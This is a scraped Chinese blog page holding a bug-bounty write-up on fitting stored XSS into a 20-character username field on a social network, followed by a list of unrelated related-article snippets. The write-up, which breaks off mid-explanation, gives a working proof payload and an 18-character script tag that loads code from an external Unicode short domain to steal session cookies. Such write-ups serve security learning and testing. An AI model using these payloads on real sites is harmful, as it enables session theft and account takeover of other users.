输入框长度在XSS测试中如何绕过字符长度限制
大家好,这是我编写的第一篇文章,之所以会分享这个故事,是因为我花了几个晚上的时间,终于找到了解决某个问题的方法。故事如下:
几个月前,我被邀请参加一个非公共的漏洞悬赏项目,在初期发现了一些漏洞后,就再无收获。
而在最后5天里,出于对金钱的渴望,我告诉自己必须在整个项目结束之前再找到一些漏洞,因此我又从头开始梳理整个目标。
这个目标是一个大型的社交网络,而转折就发生在我去创建一个新的帐户时。
当我在用户名处输入一个XSS的payload时,特殊字符: <:’();?>全不能输入,而且长度限制为20个字符。
此时,我没有太好的办法,只能去寻找其他漏洞。
而当我访问目标范围内的第二个域名,试图用我的电子邮件注册新帐户时,被告知:用户已经注册,请登录。看来,这两个网站使用的是同一个数据库的用户数据,那么我可以借这个网站插入XSS么?
我很快进入到“个人资料”页面,尝试编辑我的用户名。是的,的确没有了敏感字符限制!
但是,这个长度还是被限制在20个字符以内。
我首先输入一个简单的payload来确认XSS的存在:<svg/onload=alert()>,这个长度为20个字符。
输入并保存后,我转向第一个网站,并成功在“个人资料”页面发现了弹框!
接下来,我开始探究如何窃取cookie,因为危害越大,奖励越高。
不过由于无法绕过长度限制,所以如何才能用小于20个字符的XSS来窃取cookie?xsshunter工具的确很有用,但payload都太长了,所以我花费了很久的时间不停寻找新方法。48小时之后,我发现了这条来自2016年的推特,其中的payload的确很短,来自@0x6D6172696F:
<script/src=//⑭.₨>,只有18个字符。其中₨代表印度卢比,这是1个字符,而不是2个字符,而⑭也是类似的效果。当你访问把这个url粘贴到浏览器去访问时,会发现如下情形:
相关文章:
输入框长度在XSS测试中如何绕过字符长度限制
大家好,这是我编写的第一篇文章,之所以会分享这个故事,是因为我花了几个晚上的时间,终于找到了解决某个问题的方法。故事如下: 几个月前,我被邀请参加一个非公共的漏洞悬赏项目,在初期发现了一些…...
JVM基础篇-直接内存
JVM基础篇-直接内存 什么是直接内存? 直接内存( 堆外内存 ) 指的是 Java 应用程序通过直接方式从操作系统中申请的内存,这块内存不属于jvm 传统方式读取文件 首先会从用户态切换到内核态,调用操作系统函数从磁盘读取文件,读取一部分到操作系统缓冲区…...
【Java可执行命令】(十四)脚本执行工具jrunscript :在命令行环境下交互式执行一些简单的脚本或测试代码片段~
Java可执行命令之jrunscript 1️⃣ 概念2️⃣ 优势和缺点3️⃣ 使用3.1 语法格式3.2 启动 jrunscript 直接执行脚本3.3 可选参数:-l < language>3.4 可选参数:-e < script>3.5 可选参数:-f < script file>3.6 注意事项 4️…...
eclipse Java Editor Templates
Window - Preferences - Java - Editor - Templates date ${currentDate:date(yyyy.MM.dd)}...
vue SKU已知sku.tree算出sku.list类目值和id
已知sku.tree算出sku.list类目值和id <van-skuref"sku"v-model"showBase":close-on-click-overlay"closeOnClickOverlay":goods"skuData.goods_info":goods-id"skuData.goods_id":hide-stock"skuData.sku.hide_stoc…...
error C4430 缺少类型说明符 - 假定为 int。注意 C++ 不支持默认 int
出现原因:两个类头文件相互包含 使用声明类代替头文件包含...
Embedding入门介绍以及为什么Embedding在大语言模型中很重要
Embeddings技术简介及其历史概要 在机器学习和自然语言处理中,embedding是指将高维度的数据(例如文字、图片、音频)映射到低维度空间的过程。embedding向量通常是一个由实数构成的向量,它将输入的数据表示成一个连续的数值空间中…...
暑假刷题第20天--8/3
B-序列的与和_2023河南萌新联赛第(四)场:河南大学 (nowcoder.com)(dfs) #include<iostream> #include<string> using namespace std; #define ull unsigned long long int n,k; ull a[21]; ull ans0; int…...
docker容器内的django启动celery任务队列
问题1: celery任务队列一般要使用redis,但是容器内的django要访问本机的redis是十分麻烦的 解决2: 在容器内安装redis,或者单独启动一个redis的容器,我是单独启动一个redis容器 安装redis镜像docker pull redis启动…...
linux文件描述符fd
文件描述符 fd是一个>0 的整数 每打开一个文件,就创建一个文件描述符,通过文件描述符来操作文件 预定义的文件描述符: 0:标准输入,对应于已打开的标准输入设备(键盘) 1:标准输出,对应于已打开的标准输出设备(控制台) 2.标准错误…...
【深度学习】各个开源库总结及实战-总目录
前言 此专栏主要是用MMCV和PaddlePaddle,它们都是优秀的开源库,用于计算机视觉和深度学习任务。MMCV提供了丰富的计算机视觉工具和算法,基于PyTorch框架,适合对PyTorch熟悉的用户。PaddlePaddle是百度开发的深度学习平台,提供易用且高性能的深度学习框架。 此专栏主要包括…...
Unity Shader:闪烁
还是一样的分为UI闪烁和物体闪烁,其中具体可分为:UI闪烁、物体闪烁与半透明闪烁 1,UI闪烁 对于UI 还是一样的,改写UI本身的shader: Shader "UI/YydUIShanShder" {Properties{[PerRendererData] _MainTex(…...
c++开发模式桥接模式
将抽象部分与它的实现部分分离,使它们都可以独立地变化。它是一种对象结构型模式,又称为柄体(Handle and Body)模式或接口(Interface)模式。 #include <iostream> using namespace std;// Abstractionclass Abstraction { public:virtual void Op…...
javaScript 树形结构 递归查询方法。
1. 函数递归定义 程序调用自身的编程技巧称为递归( recursion)。 2.使用条件 1.存在限制条件,当满足这个限制条件的时候,递归便不再继续。 2.每次递归调用之后越来越接近这个限制条件。 3.既然是自己调用自己,那么整个…...
MySQL语法2
DQL语句介绍 DQL是数据查询语言,用来查询数据库中表的记录 DQL-基本查询语句 SELECT 字段列表 FROM 表名列表 WHERE 条件列表 GROUP BY 分组字段列表 HAVIMG 分组后条件列表 ORDER BY 排列字段列表 LIMIT 分页参数 讲解过程:基本查询、条件查询…...
Mysql on duplicate key update用法及优缺点
在实际应用中,经常碰到导入数据的功能,当导入的数据不存在时则进行添加,有修改时则进行更新, 在刚碰到的时候,一般思路是将其实现分为两块,分别是判断增加,判断更新,后来发现在mysql…...
【Linux】-进程概念之进程优先级(如何去进行调度以及进程切换),还不进来看看??
💖作者:小树苗渴望变成参天大树🎈 🎉作者宣言:认真写好每一篇博客💤 🎊作者gitee:gitee✨ 💞作者专栏:C语言,数据结构初阶,Linux,C 动态规划算法🎄 如 果 你 …...
《在细雨中呼喊》阅读笔记
《在细雨中呼喊》阅读笔记 2023年2月5号在家读完,本书就是以作者者回忆的形式来写,男一号叫孙光林,有一个哥哥孙光平,一个弟弟叫孙光明,父亲叫孙光才。书中写了四篇故事。 第一篇写的就是作者对于老家生活的回忆 小的时…...
01-1 搭建 pytorch 虚拟环境
pytorch 管网:PyTorch 一 进入 Anaconda 二 创建虚拟环境 conda create -n pytorch python3.9注意要注意断 VPN切换镜像: 移除原来的镜像 # 查看当前配置 conda config --show channels conda config --show-sources# 移除之前的镜像 conda config --…...
RocketMQ 事务消息
事务消息是 RocketMQ 的高级特性之一 。这篇文章,笔者会从应用场景、功能原理、实战例子三个模块慢慢为你揭开事务消息的神秘面纱。 1 应用场景 举一个电商场景的例子:用户购物车结算时,系统会创建支付订单。 用户支付成功后支付订单的状态…...
【C++原创开源】formort.h:一行头文件,实现比JS模板字符串更爽的链式拼接+响应式变量
文章目录一、先看效果:比JS模板字符串更爽的写法二、核心功能:不止是拼接,还有响应式1. 任意类型|链式拼接2. Cast响应式变量绑定三、核心实现:几十行代码,看懂原理四、使用方法:零门槛,直接上手…...
清算波普尔:终结107年学术诈骗的真理清场行动
清算波普尔:终结107年学术诈骗的真理清场行动摘要波普尔通过“名词动量化”将“科学(真理结果)”偷换为“科学探索(试错过程)”,制造了长达107年的学术诈骗。他以“过程即科学”为幌子,用无限试…...
Windows11 Camera 存储路径自定义与系统声音录制全攻略
1. Windows11 Camera存储路径自定义详解 每次用Windows11自带的Camera应用拍完照片或视频,是不是总在C盘里翻来覆去找文件?我刚开始用的时候也经常遇到这个问题,直到发现原来存储路径可以自定义。下面我就把摸索出来的完整操作流程分享给大家…...
Cosmos-Reason1-7B代码生成实战:辅助Python爬虫开发与优化
Cosmos-Reason1-7B代码生成实战:辅助Python爬虫开发与优化 1. 引言 做数据采集的朋友,估计都经历过这样的时刻:盯着一个网站,脑子里已经想好了要抓什么数据,但打开编辑器,从零开始写爬虫代码,…...
别再只调BERT了!手把手教你用‘情感词典+规则’优化电商评论分析(附5000词定制词典思路)
突破BERT局限:电商评论情感分析的词典与规则实战指南 当BERT等预训练模型成为情感分析标配时,许多开发者发现它们在电商垂直领域常出现"水土不服"——把"电池续航给力"误判为中性,或将"屏幕不算差"直接标记为…...
【反蒸馏实战 05】数据库管理员:当云数据库接管了80%的日常运维,你的价值在哪里?@从“数据库运维”到“数据架构师”实战指南
摘要:2026年,甲骨文47人DBA团队被3名架构师+AI取代,AI接管94%的数据库维护工作——这标志着传统DBA的“操作时代”终结。本文结合Redgate 2026数据库行业报告、TiDB全员信等权威数据,拆解AI对DBA的冲击全景,提出“思维-能力-工作流”三级反替代模型。通过4个核心实操模块(…...
网络运维实战:如何使用 Traceroute 进行网络故障排查?
网络运维实战:如何使用 Traceroute 进行网络故障排查?前言一、Traceroute 概述:是什么?能干什么?1.1 基本定义1.2 核心作用二、Traceroute 工作原理(通俗版)2.1 核心原理:利用 TTL 超…...
HTML5 框架
HTML5 框架学习笔记 在 HTML5 中,“框架”通常指两个层面的概念: <iframe> 标签:用于在当前页面中嵌入另一个 HTML 页面(内联框架)。前端框架/库:基于 HTML5 标准构建的现代化开发框架(如…...
STM32实战指南_打造智能厨房安全卫士(硬件选型+代码解析+调试技巧)
1. 项目背景与需求分析 厨房是家庭安全隐患的高发区域,尤其是燃气泄漏和高温引发的安全问题。去年我邻居家就因燃气阀门未关紧导致轻微中毒,这件事让我下定决心开发一个低成本、高可靠性的厨房安全监测系统。基于STM32的方案不仅成本可控(整…...
C# 14原生AOT调用Dify流式响应API:如何安全绕过HttpClientHandler AOT不兼容?微软.NET 9 Preview 7补丁已验证
第一章:C# 14 原生 AOT 部署 Dify 客户端 最佳实践C# 14 的原生 AOT(Ahead-of-Time)编译能力显著提升了 .NET 应用的启动性能与部署轻量化水平,结合 Dify 的开放 API 设计,可构建零依赖、秒级启动的跨平台客户端。本章…...
